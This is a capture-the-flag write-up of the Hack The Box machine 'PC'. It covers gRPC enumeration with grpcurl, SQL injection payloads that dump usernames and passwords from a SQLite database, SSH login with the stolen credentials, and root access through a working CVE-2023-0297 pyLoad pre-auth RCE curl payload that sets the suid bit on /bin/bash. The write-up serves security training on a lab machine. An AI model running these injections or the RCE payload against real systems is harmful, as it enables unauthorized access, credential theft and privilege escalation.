Name | PC |
---|---|
OS | PC |
DIFFICULTY | Easy |
Summary
In my quest to conquer this machine, I initiated reconnaissance with an nmap
scan, unveiling SSH and a mysterious service on port 50051
. My investigation led to the discovery of gRPC, a high-performance RPC framework. Armed with the grpcurl
tool, I delved into the gRPC service, revealing two services - SimpleApp
and grpc.reflection.v1alpha.ServerReflection
. Within SimpleApp
, I identified three methods: LoginUser
, RegisterUser
, and getInfo
. After creating an account using RegisterUser
, I obtained a JWT token for authentication to the getInfo
method. Delving further, I suspected the method’s interaction with a database and leveraged SQL injection to unveil the database version. Using group_concat()
, I enumerated tables, unearthing username
and password
tables. Extracting data from these tables, I successfully logged in and got the user flag.
My exploration internally extended to port 8000
, where I uncovered an HTTP site named pyLoad
. I uncovered a promising exploit: CVE-2023-0297_Pre-auth_RCE_in_pyLoad. A slight modification to the PoC, adding the suid
bit to /bin/bash
and adjusting the IP address, granted me root access. In the end, victory was mine.
Recon
To initiate reconnaissance, I began with an nmap
scan to identify open ports. I initiated a preliminary scan to quickly check all available ports, followed by a more focused scan employing nse
scripts. The scan results revealed that SSH is active, along with an unidentified service running on port 50051
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿dragon)-[~/htb/pc]
└─# nmap -p- --min-rate 1000 -oN allPorts.nmap 10.129.227.161
Nmap scan report for 10.129.227.161
Host is up (0.061s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown
┌──(root㉿dragon)-[~/htb/pc]
└─# nmap -p 22,50051 -sVC -oN scriptScan.nmap 10.129.227.161
Nmap scan report for 10.129.227.161 Host is up (0.064s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
I conducted an online search using the query ‘TCP port 50051’ in an attempt to identify the service running on this port. The search results yielded several references to gRPC. Prior to this, I had no prior knowledge of gRPC, prompting me to delve into research to understand its purpose and use. In summary, gRPC is a robust and high-performance Remote Procedure Call (RPC) framework designed for scalability and security. It facilitates the connection of services within and across networks, offering features such as load balancing, tracing, health checking, and authentication. Essentially, it serves as a high-performance HTTP RPC protocol and is commonly used for backend APIs.
To interact with the service, I downloaded and utilized a tool called grpcurl.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿dragon)-[~/htb/pc]
└─# wget https://github.com/fullstorydev/grpcurl/releases/download/v1.8.7/grpcurl_1.8.7_linux_x86_64.tar.gz
[snip]
grpcurl_1.8.7_linux_x86_64.tar.g 100%[========================================================>] 7.11M 19.5MB/s in 0.4s
2023-05-21 10:00:32 (19.5 MB/s) - ‘grpcurl_1.8.7_linux_x86_64.tar.gz’ saved [7460415/7460415]
┌──(root㉿dragon)-[~/htb/pc]
└─# tar -xvf grpcurl_1.8.7_linux_x86_64.tar.gz**
LICENSE
grpcurl
When utilizing the list
verb, it became evident that there are two items running on this service: SimpleApp
and grpc.reflection.v1alpha.ServerReflection
.
1
2
3
4
5
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
The SimpleApp
service offers three distinct methods: LoginUser
, RegisterUser
, and getInfo
. To gather more detailed information about each of these methods, the describe
verb can be employed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
Digging deeper into each of the methods, I learn how to invoke them. The RegisterUser
method requires two parameters: username
and password
.
1
2
3
4
5
6
7
8
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest
{
string username = 1;
string password = 2;
}
LoginUser
also takes two parameters: username
and password
.
1
2
3
4
5
6
7
8
9
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest
{
string username = 1;
string password = 2;
}
getInfo
just required an id
parameter.
1
2
3
4
5
6
7
8
9
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe getInfoRequest
getInfoRequest is a message:
message getInfoRequest
{
string id = 1;
}
When calling the RegisterUser
method, I created an account to facilitate interactions with the RPC. It’s worth noting that the documentation specifies the requirement for requests to be in json
format. Accordingly, I used the parameters previously identified to create an account.
1
2
3
4
5
6
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -d '{"username":"zonzon", "password":"zonzon"}' -plaintext 10.129.227.161:50051 SimpleApp.RegisterUser
{
"message": "Account created for user zonzon!"
}
Utilizing my account, I can authenticate to the application and acquire a JWT token that allows me to authenticate when using the getInfo
method.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -d '{"username":"zonzon", "password":"zonzon"}' -plaintext -v 10.129.227.161:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Response contents:
{
"message": "Your id is 380."
}
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4'
Supplying the JWT token and an id
parameter, I received some output!
1
2
3
4
5
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "1"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo
{
"message": "The admin is working hard to fix the issues."
}
Considering how this method functions, it likely takes the id
number and passes it to a database to retrieve information about the corresponding user. PayloadsAllTheThings offers an injection table for identifying the type of database running in the background. I successfully executed an injection to retrieve the database version using UNION ALL SELECT sqlite_version()
. The use of UNION ALL
enables us to execute another SELECT
statement, giving us the ability to fetch other data from the database, such as its version
1
2
3
4
5
6
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT sqlite_version()"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo
{
"message": "3.31.1"
}
Next, my objective was to enumerate other tables within the database. I leveraged the group_concat()
function, which aggregates all rows into a single record. This enabled me to retrieve and print out the names of all the tables in the database.
1
2
3
4
5
6
7
8
9
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT group_concat(sql) from sqlite_master"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo
{
"message": "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n),CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE,message TEXT)"
}
Armed with a list of tables, I employed the group_concat()
function to extract the contents of both the username
table and the password
table. From this data dump, I acquired the following entries: admin:admin
and sau:HereIsYourPassWord1431
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT group_concat(username) from accounts"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo
{
"message": "admin,sau"
}
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT group_concat(password) from accounts"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo
{
"message": "admin,HereIsYourPassWord1431"
}
sau:HereIsYourPassWord1431
worked on SSH, allowing me to obtain the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿dragon)-[~/htb/pc]
└─# ssh sau@10.129.227.161
The authenticity of host '10.129.227.161 (10.129.227.161)' can't be established.
ED25519 key fingerprint is SHA256:63yHg6metJY5dfzHxDVLi4Zpucku6SuRziVLenmSmZg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.161' (ED25519) to the list of known hosts.
sau@10.129.227.161's password:
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
sau@pc:~$ cat user.txt
1a77e********************
Root
During some basic reconnaissance on the host, I found that port 8000
was open internally.
1
2
3
4
5
6
7
8
9
10
11
12
13
sau@pc:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::50051 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
I attempted to run curl
on the service and had the fortune of discovering that it’s an HTTP site. The site’s title is pyLoad
. A Google search for pyLoad exploit
directed me to a repository containing a proof-of-concept (PoC) exploit.
1
2
3
4
5
6
7
8
sau@pc:~$ curl localhost:8000/login
<!DOCTYPE html> <html lang="en"> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
[SNIP]
<title>Login - pyLoad </title>
I made slight modifications to the PoC, adding the suid
bit to /bin/bash
and incorporating the IP address.
1
curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'
The exploit succeeded, granting me elevated privileges to root.
1
2
3
4
5
6
7
8
9
sau@pc:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
sau@pc:~$ /bin/bash -p
bash-5.0# id
uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau)
bash-5.0# cat root.txt
7d5e5d****************